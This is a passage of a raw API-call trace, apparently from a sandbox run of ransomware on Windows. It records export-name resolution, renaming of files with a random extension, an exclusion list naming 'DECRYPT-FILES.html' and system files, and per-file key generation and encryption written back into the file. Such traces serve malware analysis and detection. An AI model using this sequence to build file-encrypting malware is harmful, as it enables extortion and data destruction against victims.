lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0121.563] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0121.563] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0121.563] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0121.563] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0121.563] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0121.563] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0121.563] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0121.563] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0121.563] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0121.564] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0121.564] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0121.564] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0121.564] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0121.564] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0121.564] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0121.564] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0121.564] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0121.564] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0121.564] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0121.564] lstrlenA (lpString="COPYCONTEXT") returned 11 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0121.564] lstrlenA (lpString="COPYFILE2") returned 9 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0121.564] lstrlenA (lpString="COPYFILEA") returned 9 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0121.564] lstrlenA (lpString="COPYFILEEXA") returned 11 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0121.564] lstrlenA (lpString="COPYFILEEXW") returned 11 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0121.564] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0121.564] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0121.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0121.565] lstrlenA (lpString="COPYFILEW") returned 9 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0121.565] lstrlenA (lpString="COPYLZFILE") returned 10 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0121.565] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0121.565] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0121.565] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0121.565] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0121.565] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0121.565] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0121.565] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0121.565] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0121.565] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0121.565] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0121.565] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0121.565] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0121.565] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0121.565] lstrlenA (lpString="CREATEEVENTA") returned 12 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0121.565] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0121.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0121.566] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0121.566] lstrlenA (lpString="CREATEEVENTW") returned 12 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0121.566] lstrlenA (lpString="CREATEFIBER") returned 11 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0121.566] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0121.566] lstrlenA (lpString="CREATEFILE2") returned 11 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0121.566] lstrlenA (lpString="CREATEFILEA") returned 11 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0121.566] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0121.566] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0121.566] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0121.566] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0121.566] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0121.566] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0121.566] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0121.566] lstrlenA (lpString="CREATEFILEW") returned 11 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0121.566] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0121.566] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0121.566] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0121.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0121.567] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0121.567] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0121.567] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0121.567] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0121.567] lstrlenA (lpString="CREATEJOBSET") returned 12 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0121.567] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0121.567] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0121.567] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0121.567] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0121.567] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0121.567] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0121.567] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0121.567] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0121.567] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0121.567] lstrlenA (lpString="CREATEPIPE") returned 10 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0121.567] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0121.567] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0121.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0121.567] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0121.568] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0121.568] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0121.568] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0121.568] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0121.568] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0121.568] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0121.568] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0121.568] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0121.568] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0121.568] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0121.568] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0121.568] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0121.568] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0121.568] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0121.568] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0121.568] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0121.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0121.568] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0121.569] lstrlenA (lpString="CREATETHREAD") returned 12 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0121.569] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0121.569] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0121.569] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0121.569] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0121.569] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0121.569] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0121.569] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0121.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0121.570] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\eula.rtf.3tNfSRl") returned 43 [0121.570] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.3tNfSRl" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.3tnfsrl"), dwFlags=0x0) returned 1 [0121.570] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.570] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.571] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.571] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0121.571] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0121.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\") returned 27 [0121.571] lstrlenW (lpString="LocalizedData.xml") returned 17 [0121.571] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1035\\" | out: lpString1="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0121.572] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1035\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" [0121.572] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.572] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0121.572] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=77022) returned 1 [0121.572] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0121.572] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0121.666] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0121.666] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0121.666] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0121.666] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0121.666] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0121.746] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.747] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0121.747] CloseHandle (hObject=0x5f8) returned 1 [0121.747] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.747] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0121.748] CloseHandle (hObject=0x0) returned 0 [0121.748] CloseHandle (hObject=0x5f4) returned 1 [0121.750] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.750] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.751] GetTickCount () returned 0x33dc5 [0121.751] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0121.751] lstrlenW 